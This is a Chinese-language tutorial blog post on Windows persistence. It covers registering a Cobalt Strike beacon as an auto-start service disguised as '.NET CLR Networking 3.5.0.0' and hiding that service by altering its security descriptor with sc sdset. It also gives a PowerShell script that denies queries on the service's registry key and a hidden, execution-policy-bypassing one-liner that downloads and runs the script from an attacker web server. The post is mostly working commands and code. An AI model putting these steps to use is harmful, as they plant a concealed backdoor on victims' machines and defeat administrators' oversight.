Windows权限维持之利用安全描述符隐藏服务后门进行权限维持(八)

我们先打开cs的服务端

然后我们打开客户端

我们点击连接

然后弹出这个界面

然后我们新建一个监听器

然后我们生成一个beacon

然后把这个复制到目标主机

然后我们双击 运行

然后cs这边就上线了

然后我们把进程结束掉

然后我们再把他删除掉

然后我们创建服务

将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。

cmd创建自启动服务

sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\1.exe" depend= Tcpip obj= Localsystem start= auto

然后我们打开服务 就能看见我们新创建的服务 我们要把它开启

然后我们cs 这边就上线了

我们这里来查看服务

sc query | findstr ".NET CLR Networking 3.5.0.0"

这里出现第二个后门 因为我刚才又重新启动服务了 我们把第一个删除掉

当然我也可以用powershell

powershell创建自启动服务

new-service --Name ".NET CLR Networking 3.5.0.0" --DisplayName ".NET CLR Networking 3.5.0.0" --BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe"  --       StartupType AutomaticDelayedStart

但创建的服务很容易被发现通过sc query和Get-Service很容易发现,直接查询服务也能看见

通过修改SDDL( 安全描述符**)**隐藏服务

众所周知, windows访问控制模型分为两部分:

access token(访问令牌)

安全描述符

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:

对象的所有者和主要组的Sid (安全标识符)

用于指定允许或拒绝特定用户或组的访问权限的DACL。

指定为对象生成审核记录的访问尝试类型的SACL。

一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后我们服务就找不见了

在cmd窗口呀查询不到

在知道服务名的前提下查询会显示拒绝访问:

net start ".NET CLR Networking 3.5.0.0"

这里我们的cs也上线了

但这样做有一个问题:在注册表中很容易看到异常value。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NETCLRNetworking3.5.0.0

这里也有这个存在

修改注册表ACL

我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。

这里给出一个通过powershell修改注册表项的访问权限的简单脚本:

function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow"      $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

Set-Acl $S $acl
}

我们在kail上新建1.ps1

然后我们开启web服务

python3 -m http.server 80

远程加载powershell脚本:

powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.25.138/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"

然后哦我们重启计算机

发现也是隐藏了

详细

利用安全描述符隐藏服务后门进行权限维持

相关推荐
重生之我在20年代敲代码3 小时前
【Linux第三弹】Linux基础指令 (下)
linux·运维·服务器
路溪非溪3 小时前
Linux中死锁问题的探讨
linux·运维·服务器
二进制杯莫停3 小时前
shell逐行读取文件 & 远程操作服务器
运维·服务器
中东大鹅3 小时前
Linux 的at定时任务
linux·服务器·网络
青春不流名4 小时前
yarn application命令中各参数的详细解释
windows
xyeternals4 小时前
【TCP/IP协议栈】1. TCP/IP协议栈概述(体系、四/五层模型、IP、MAC)
网络·tcp/ip·计算机网络
上线之叁4 小时前
26-小迪安全-模块引用,mvc框架,渲染,数据联动0-rce安全
安全
北冥有鱼被烹5 小时前
【微知】命令行如何对Centos关机?如何完全关机?(shutdown -h now、poweroff; halt、init 0)
linux·服务器·centos
网络安全queen5 小时前
网络安全管理平台建设思路
安全·web安全
^_^ 纵歌5 小时前
Ubuntu 22.04 启动登录页面显示 IP 地址
服务器·tcp/ip·ubuntu